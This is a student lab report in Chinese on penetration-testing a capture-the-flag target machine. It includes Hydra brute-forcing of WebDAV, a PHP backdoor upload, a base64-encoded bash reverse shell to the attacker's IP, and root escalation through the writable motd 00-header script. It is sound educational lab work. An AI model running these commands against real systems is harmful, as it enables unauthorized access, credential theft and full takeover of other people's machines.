一、实验目的
1、掌握远程控制的基本原理和技术实现;
2、掌握使用MSFVENOM生成被控端的方法和远程控制工具MSF的使用;
3、掌握权限提升的一般方法。
二、实验任务
1、对目标靶机进行信息收集并分析研究可利用的漏洞;
2、利用MSFVENOM工具生成被控端;
3、上传文件反弹shell并利用Metaspolit对目标靶机进行渗透控制;
4、提升目标靶机的操作权限。
三、实验环境
1、靶机地址:192.168.157.133
2、攻击机地址:192.168.157.128
四、实验过程和实验结果
信息收集
- 主机发现
找到目标主机Ip为192.168.157.133
- 端口扫描
有SSH服务。后续可以实现远程登录
- 目录扫描
- 漏洞扫描
可以看到80端口的web目录发现/webdav/目录,我们可以尝试访问下。
/webdav/目录,是存在登录凭据的,我们需要查找/webdav/目录的账号密码,到时候尝试登录。
WebDAV(Web Distributed Authoring and Versioning)是一种用于在远程服务器上进行文件管理和协同工作的协议。对于使用 WebDAV 服务器的用户来说,/webdav/ 可能是服务器上提供的 WebDAV 服务的根目录路径。
- 访问http服务
在站点寻找可能存在的漏洞点,发现另一个子页面为网站图片元素存储的分页。
查看页面源代码,ctrl+u并无发现
漏洞探测
- 尝试扫描网站目录,发现存在webdav目录
- 访问webdav目录,发现要输入账号密码
3、Hydra爆破webdav
(1)生成字典kali-cewl工具
cewl http://192.168.157.133 > words.dic
wc -l words.dic
cat words.dic
- webdav 账密爆破
Hydra 爆破webdav
hydra -L words.dic -P words.dic http-get://192.168.157.133/webdav
得到账号为:yamdoot,密码为:Swarg
登录webdav
漏洞利用
- Webdav getshell
利用cadaver登录webdav上传shell文件
cadaver http://192.168.157.133/webdav
2、Getshell
Put /usr/share/webshells/php/qsd-php-backdoor.php
- 网页访问后门文件目录,反弹Shell
- 尝试利用/bin/bash/进行一个交互式的bash shell 连接,监听端口为4444
Base64加密
上面ip为攻击机ip
5、将base64加密后构造的一个交互式的bash shell连接语句在网站后门上输出,同时开启本地监听
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU3LjEyOC80NDQ0IDA+JjEK |base64 -d|bash
|base64-d|与前面空一格
6、可以看到已经成功获得www-data用户的访问权限,开始执行下一步操作
1.切换到根目录
2.系统信息收集,了解更多参考这个linux系统信息收集
3.linux系统重要目录文件内容查找linux系统目录文件内容查找
7、查看账户信息文件,权限过低无法查看/etc/shadow文件
8、查看靶机各个用户的家目录
- 在inferno用户的目录下发现user.txt文件,查看一下,得到一串MD5加密字符串
Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}
10、在/mnt目录下发现hell.sh,查看内容得到一串使用Brainfuck加密的字符串
11、经过破解得到明文密码
破解密码链接:https://www.splitbrain.org/services/ook
密码为:chitragupt
推测该字符串可能为某项服务的账号密码,既然inferno用户下有flag提示,应该就是inferno用户的账密了,而由之前nmap扫描收集到的信息可以得知靶机开放的服务除了80-web服务外,还有一个22-ssh服务,这应该就是ssh服务的账密了
- 尝试ssh账密登录
权限提升
1、关于提权方法的话,有linux内核提权,suid提权,这里用 motd提权
查看00-header 文件权限
2、发现这个文件对于各个用户的权限均为可读可写可执行-rwx
将提权命令写入该文件
echo "echo 'root:justice' | sudo chpasswd" >> /etc/update-motd.d/00-header
- 重新登录inferno 账户,即可触发脚本
- 登录之后根据写入的密码,切换登录root用户
- 现在可以进行一些高权限操作
cat /etc/shadow
6、切换到各个目录看下,看看有没有什么敏感文件
最终在家目录下发现root.txt,看看是不是最终的keys
7、查看下root.txt
五、实验总结
实验原理:
- 远程控制:远程控制技术通过将TCP/IP协议网络数据通信作为基础,在控制计算机与被控计算机内运行,确保网络通讯等各项功能可以顺利实现。此外,远程控制的工作原理还涉及将被控端的屏幕实时复制到主控端并保持刷新,主控端就像使用本地的屏幕一样,使用菜单、键盘输入、鼠标点击等视觉交互。
- 权限提升:权限提升技术原理主要涉及权限系统的认证和授权功能。在计算机系统中,权限管理通常分为认证和授权两个部分。认证过程相对简单,主要是验证用户提供的用户名和密码是否正确,以此来确认用户的身份。而授权则涉及更为复杂的权限分配和管理,包括确定用户或程序可以访问哪些资源以及执行哪些操作。权限提升技术主要利用授权过程中的漏洞或弱点,使得原本权限较低的用户或程序能够获得更高权限,进而执行原本不允许的操作或访问受保护的资源。
通过本次实验,我初步了解了远程控制技术和权限提升技术的原理,掌握了使用MSFVENOM生成被控端的方法和远程工具MSF的使用,懂得了权限提升的一般方法,在上一次实验的基础上可以较为熟练地对目标靶机进行信息搜集并分析研究可利用的漏洞,上传文件反弹shell并利用metaspolit对目标靶机进行渗透控制,提升靶机操作权限。
在本次实验中遇到的错误有:
1、生成字典kali-cewl工具
cewl http://192.168.157.133 > words.dic
wc -l words.dic
cat words.dic
命令中words不小心少打了s,还好及时发现
2、尝试利用/bin/bash/进行一个交互式的bash shell 连接,监听端口为4444, Base64加密,这里命令中为攻击机ip我写成了靶机ip,导致监听出错。
3、权限提升一直出错,提权命令echo "echo 'root:justice' | sudo chpasswd" >> /etc/update-motd.d/00-header之后改的是root用户的密码,ssh inforno@192.168.157.133这里还是原来的密码,结果我输的root的密码,问了舍友才知道。
在该靶机实验过程中,webdav页面是渗透过程的关键,使用cadaver客户端上传shell.php文件。反弹shell后得到低权限用户;
最为亮点是通过修改00-header文件,来改变ssh登陆时的欢迎信息,以及ssh登陆时常用的BF加密密码;此次提权过程和之前的修改/etc/passwd/文件提权相似